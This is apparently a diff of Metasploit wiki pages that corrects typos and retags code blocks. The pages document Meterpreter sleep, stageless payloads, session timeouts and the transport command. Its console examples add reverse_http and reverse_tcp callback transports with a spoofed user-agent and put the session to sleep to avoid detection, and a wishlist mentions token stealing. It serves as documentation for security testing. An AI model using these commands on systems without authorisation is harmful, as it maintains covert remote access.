Revamped [[transport|./Meterpreter-Transport-Control.md]] implementations have provided support for resiliency even for TCP based communcations. Any session that isn't properly terminated by Metasploit will continue to function behind the scenes while Meterpreter attempts to re-establish communications with Metasploit.
Revamped [[transport|./Meterpreter-Transport-Control.md]] implementations have provided support for resiliency even for TCP based communications. Any session that isn't properly terminated by Metasploit will continue to function behind the scenes while Meterpreter attempts to re-establish communications with Metasploit.
It is also possible to control the behaviour of this functionality a little via the use of the various timeout values that can be specified when adding transports to the session, and also on the fly for the current transport. For full details, please see the [[timeout documentation|./Meterpreter-Timeout-Control.md]] for details on those timeout values.
@@ -16,7 +16,7 @@ During this dormant period, no socket is active, no requests are made, and no re
The interface to the sleep command looks like this:
```
```msf
meterpreter > sleep
Usage: sleep <time>
@@ -27,11 +27,11 @@ Usage: sleep <time>
shut down and restarted after the designated timeout.
```
As shown, `sleep` expects to be given a single postive integer value that represents the number of seconds that Meterpreter should be silent for. When run, the session will close, and then callback after the elapsed period of time. Given that Meterpreter lives in memory, this lack of communication will make it extremely difficult to track.
As shown, `sleep` expects to be given a single positive integer value that represents the number of seconds that Meterpreter should be silent for. When run, the session will close, and then callback after the elapsed period of time. Given that Meterpreter lives in memory, this lack of communication will make it extremely difficult to track.
The following shows a sample run where Meterpreter is put to sleep for 20 seconds, after which the session reconnects while the handler is still in background:
```
```msf
meterpreter > sleep 20
[*] Telling the target instance to sleep for 20 seconds ...
[+] Target instance has gone to sleep, terminating current session.
@@ -57,7 +57,7 @@ The data or time cost of uploading `metsrv`, `stdapi` and `priv` for every singl
It's hard to believe it possible, but in this case the following image could be considered a nightmare.
```
```msf
[*] Sending stage (173056 bytes) to xxx.xxx.xxx.xxx
[*] Meterpreter session 4684 opened ....
[*] Sending stage (173056 bytes) to xxx.xxx.xxx.xxx
@@ -95,7 +95,7 @@ With this shellcode stub wired into the DOS header, Metasploit adds the entire b
1. Loads the extension DLL into memory.
1. Calculates the size of the DLL.
1. Writes the size of the DLL as a 32-bit value to the configuration block.
1. Writes the entire body of the DLL, as-is, to the end of the conifiguration block.
1. Writes the entire body of the DLL, as-is, to the end of the configuration block.
Once the end of the list of extensions is reached, the last thing that is written to the payload buffer is a 32-bit representation of `0` (`NULL`) which indicates that the list of extensions has been terminated. This `NULL` value is what `metsrv` will look for when iterating through the list of extensions so that it knows when to stop. After this, any extension initialisation scripts are wired in (though that's beyond the scope of this article).
@@ -150,4 +150,4 @@ Congratulations, you're dancing with stageless Meterpreter!
At this point, all of the pre-loaded extensions have been loaded into Meterpreter and are available for use. However, Metasploit is yet to know about them. To initiate client-site wiring of any of the pre-loaded extensions, the user can just type `use <extension>` just like they used to. Metasploit will check to see if the extension already exists in the target instance, and if it does, it will skip the extension upload and just wire-up the functions on the client side. If the extension is missing, then it will upload it and wire-up the functions on the fly just like it always has done.
If you're working with `meterpreter_reverse_https`, you'll notice that when new shells come in they appear just like an orphaned instance. This is expected behaviour, because a stageless session can't and won't look any different to an old session that hasn't been in touch with Metasploit for a while.
If you're working with `meterpreter_reverse_https`, you'll notice that when new shells come in they appear just like an orphaned instance. This is expected behaviour, because a stageless session can't and won't look any different to an old session that hasn't been in touch with Metasploit for a while.
@@ -28,13 +28,13 @@ In the case of `HTTP/S` payloads it's slightly different because the protocols a
With `TCP` transports, communication "times out" when the time between the last packet and the current socket poll is greater than the communications timeout value. This happens when there are network related issues that prevent data from being transmitted between the two endpoints, but doesn't cause the socket to completely disconnect. With `HTTP/S` transports, the communication "times out" for the same reason, but the evaluation of the condition is slightly different in that failure can occur because there is either no response at all from the remote server, or the response to a `GET` request results in no acknowledgement.
By default, this value is set to `300` seconds (`5` minutes), but can be overidden by the user via the `SessionCommunicationTimeout` setting.
By default, this value is set to `300` seconds (`5` minutes), but can be overridden by the user via the `SessionCommunicationTimeout` setting.
If connectivity fails, or the communication is deemed to have timed out. Then the current transport is destroyed, and the next transport in the list of transports is invoked. From there, Meterpreter will use the Retry Total and Retry Wait values while attempting to re-establish a session with Metasploit.
#### Retry Total and Retry Wait
After a transport initialises inside Meterpreter, Meterpreter uses this transport to attempt to establish a new session with Metasploit. In some cases, Metasploit might not be availalble due to reasons like bad network connectivity, or a lack of configured listeners. If Meterpreter can't connect to Metasploit, it will attempt to retry for a period of time. Once that period of time expires, Meterpreter will deem this transport "dead" and will move to the next one in the transport list.
After a transport initialises inside Meterpreter, Meterpreter uses this transport to attempt to establish a new session with Metasploit. In some cases, Metasploit might not be available due to reasons like bad network connectivity, or a lack of configured listeners. If Meterpreter can't connect to Metasploit, it will attempt to retry for a period of time. Once that period of time expires, Meterpreter will deem this transport "dead" and will move to the next one in the transport list.
The total amount of time that Meterpreter will attempt to connect back to Metasploit on the given transport is indicated by the `retry total` value. That is, `retry total` is the total amount of time that Meterpreter will retry communication on the transport. The default value is `3600` seconds (`1` hour), and can be overridden via the `SessionRetryTotal` setting.
@@ -44,7 +44,7 @@ While the current time is within the `retry total` time, Meterpreter will consta
Meterpreter supports the querying and updating of each of these timeouts via the console. In order to get the current timeout settings, users can invoke the `get_timeouts` command, which returns all four of the current timeout settings (one for the global session, and three for the transport-specific settings). An example of which is shown below:
```
```msf
meterpreter > get_timeouts
Session Expiry : @ 2015-06-09 19:56:05
Comm Timeout : 100000 seconds
@@ -56,7 +56,7 @@ The `Session Expiry` value is rendered as an absolute local time so that the use
In order to update these values, users can invoke the `set_timeouts` command. Invoking it without parameters shows the help:
```
```msf
meterpreter > set_timeouts
Usage: set_timeouts [options]
@@ -69,7 +69,7 @@ OPTIONS:
-h Help menu
-t <opt> Retry total time (seconds)
-w <opt> Retry wait time (seconds)
-x <opt> Expiration timout (seconds)
-x <opt> Expiration timeout (seconds)
```
As the help implies, each of these settings takes a value that indicates the number of seconds. Each of the options of this command are optional, so the user can update only those values that they are interested in updating. When the command is invoked, Meterpreter is updated, and the result shows the updated values once the changes have been made.
@@ -77,7 +77,7 @@ In the case of the `-x` parameter, the value that is to be passed in should repr
The following example updates the session expiration timeout to be `2` minutes from "now", and changes the retry wait time to `3` seconds:
```
```msf
meterpreter > set_timeouts -x 120 -t 3
Session Expiry : @ 2015-06-02 22:45:13
Comm Timeout : 100000 seconds
@@ -86,7 +86,7 @@ Retry Wait Time : 2500 seconds
```
This command can be invoked any number of times while the session is valid, but as soon as the session has expired, Metepreter will shut down and it's game over:
```
```msf
meterpreter >
[*] 10.1.10.35 - Meterpreter session 2 closed. Reason: Died
```
@@ -26,7 +26,7 @@ Meterpreter has a new base command called `transport`. This is the hub of all tr
The following output shows the current help text for the `transport` command:
```bash
```msf
meterpreter > transport
Usage: transport <list|change|add|next|prev|remove> [options]
@@ -48,7 +48,7 @@ OPTIONS:
-T <opt> Retry total time (seconds) (default: same as current session)
-U <opt> Proxy username for HTTP/S transports (optional)
-W <opt> Retry wait time (seconds) (default: same as current session)
-X <opt> Expiration timout (seconds) (default: same as current session)
-X <opt> Expiration timeout (seconds) (default: same as current session)
-c <opt> SSL certificate path for https transport verification (optional)
-h Help menu
-i <opt> Specify transport by index (currently supported: remove)
@@ -65,7 +65,7 @@ OPTIONS:
The simplest of all the sub-commands in the `transport` set is `list`. This command shows the full list of currently enabled transport, and an indicator of which one is the "current" transport. The following shows the non-verbose output with just the default transport running:
```bash
```msf
meterpreter > transport list
Session Expiry : @ 2015-06-09 19:56:05
@@ -82,7 +82,7 @@ The above output shows that we have one transport enabled that is using `TCP`. W
The verbose version of this command shows more detail about the transport, but only in cases where extra detail is available (such as `reverse_http/s`). The following command shows the output of the `list` sub-command with the verbose flag (`-v`) after an `HTTP` transport has been added:
```bash
```msf
meterpreter > transport list -v
Session Expiry : @ 2015-06-09 19:56:05
@@ -98,7 +98,7 @@ Adding transports gives Meterpreter the ability to work on different transport m
The following command shows a simple example that adds a `reverse_http` transport to an existing Meterpreter session. It specifies a custom communications timeout, retry total and retry wait, and also specifies a custom user-agent string to be used for the HTTP requests:
```bash
```msf
meterpreter > transport add -t reverse_http -l 10.1.10.40 -p 5105 -T 50000 -W 2500 -C 100000 -A "Totes-Legit Browser/1.1"
[*] Adding new transport ...
[+] Successfully added reverse_http transport.
@@ -127,7 +127,7 @@ It is also possible to specify the following:
The following shows another example which adds another `reverse_tcp` transport to the transport list:
```bash
```msf
meterpreter > transport add -t reverse_tcp -l 10.1.10.40 -p 5005
[*] Adding new transport ...
[+] Successfully added reverse_tcp transport.
@@ -155,7 +155,7 @@ The three different ways to change transports are:
As an example, here is the current transport setup:
```bash
```msf
meterpreter > transport list
Session Expiry : @ 2015-06-09 19:56:05
@@ -168,7 +168,7 @@ Session Expiry : @ 2015-06-09 19:56:05
Moving to the next transport:
```bash
```msf
meterpreter > transport next
[*] Changing to next transport ...
[+] Successfully changed to the next transport, killing current session.
@@ -195,7 +195,7 @@ This output shows that we moved from the original `reverse_tcp` to the `reverse_
Moving to the next transport again takes the session to the second `reverse_tcp` listener:
```bash
```msf
meterpreter > transport next
[*] Changing to next transport ...
[+] Successfully changed to the next transport, killing current session.
@@ -218,7 +218,7 @@ Session Expiry : @ 2015-06-09 19:56:06
From here, moving backward sends Meterpreter back to the `reverse_http` listener:
```bash
```msf
meterpreter > transport prev
[*] Changing to previous transport ...
@@ -252,7 +252,7 @@ The command is similar to `add` in that it takes a subset of the parameters, and
* `-p` - The `LPORT` value.
* `-u` - This value is only required for `reverse_http/s` transports and needs to contain the URI of the transport in question. This is important because there might be multiple listeners on the same IP and port, so the URI is what differentiates each of the sessions.
```bash
```msf
[*] Starting interaction with 2...
meterpreter > transport list
@@ -282,7 +282,7 @@ Previously, Meterpreter only had built-in resiliency in the `HTTP/S` payloads an
The following shows Metasploit being closed and leaving the existing `TCP` session running behind the scenes:
```bash
```msf
meterpreter > transport list
Session Expiry : @ 2015-06-09 19:56:05
@@ -301,7 +301,7 @@ With Metasploit closed, the Meterpreter session has detected that the transport
The following output shows Metasploit being re-launched with the appropriate listeners, and the existing Meterpreter instance establishing a session automatically:
```bash
```msf
./msfconsole -r ~/msf.rc
[*] Starting the Metasploit Framework console...|
IIIIII dTb.dTb _.---._
@@ -63,7 +63,7 @@ Related open tickets (slightly broader than Meterpreter):
* PrependTokenSteal / PrependEnvironmentSteal: Basically with proxies and other perimeter defenses being SYSTEM doesn't work well. This would be an addition to a payload that would work to execute as SYSTEM but would then locate a logged in user and steal their environment to call back to the handler. Very useful when pivoting around with PSEXEC
* Binary installed death dates: A way putting a date in a binary where after that date the binary no longer functions would be useful and possibly even perform self-deletion. Time zones would be a tricky matter, but is something handled by many programmers already (probably just not in shellcode)
* Allow Meterpreter sesssions to resolve L3 addresses (#4793)
* Allow Meterpreter sessions to resolve L3 addresses (#4793)
* Track whether or not the current session has admin credentials (#4633)d
* Support Metasploit-side zlib compression of sessions
* Being able to use Meterpreter instances to easily forward commands & exfil
@@ -49,7 +49,7 @@ If you go to `metasploit-framework/documentation/modules`, you'll see that there
For example:
```
```msf
msf> use auxiliary/scanner/smb/smb_login
msf (smb_login)> info

Some files were not shown because too many files have changed in this diff Show More